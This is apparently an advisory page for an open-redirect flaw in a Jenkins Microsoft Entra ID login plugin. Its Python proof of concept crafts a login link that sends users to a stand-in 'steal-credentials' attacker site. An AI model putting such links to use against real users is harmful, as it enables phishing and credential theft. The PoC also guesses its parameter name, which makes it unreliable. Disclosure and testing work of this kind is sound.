Jenkins Microsoft Entra ID (previously Azure AD) Plugin 666.v6060de32f87d and earlier does not restrict the redirect URL after login, allowing attackers to perform phishing attacks.
Jenkins Microsoft Entra ID Plugin 666.v6060de32f87d 及更早版本
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-42525: Open Redirect in Jenkins Microsoft Entra ID Plugin
# This script demonstrates how an attacker can craft a malicious URL to redirect users.
import urllib.parse
def generate_malicious_url(jenkins_base_url, malicious_target):
"""
Generates a malicious URL exploiting the open redirect vulnerability.
Note: The specific parameter name might vary based on plugin configuration,
commonly 'from', 'redirect', or 'redirectUri' in Jenkins flows.
"""
# Endpoint handling the login redirection
login_endpoint = "/securityRealm/commenceLogin"
# Constructing the payload
params = {
"from": malicious_target # Vulnerable parameter
}
full_url = f"{jenkins_base_url}{login_endpoint}?{urllib.parse.urlencode(params)}"
return full_url
if __name__ == "__main__":
target = "http://jenkins.example.com"
evil_site = "http://attacker-controlled-site.com/steal-credentials"
exploit_url = generate_malicious_url(target, evil_site)
print(f"[+] Malicious Link generated:\n{exploit_url}")
print("\n[+] When a user clicks this link and logs in, they will be redirected to the evil site.")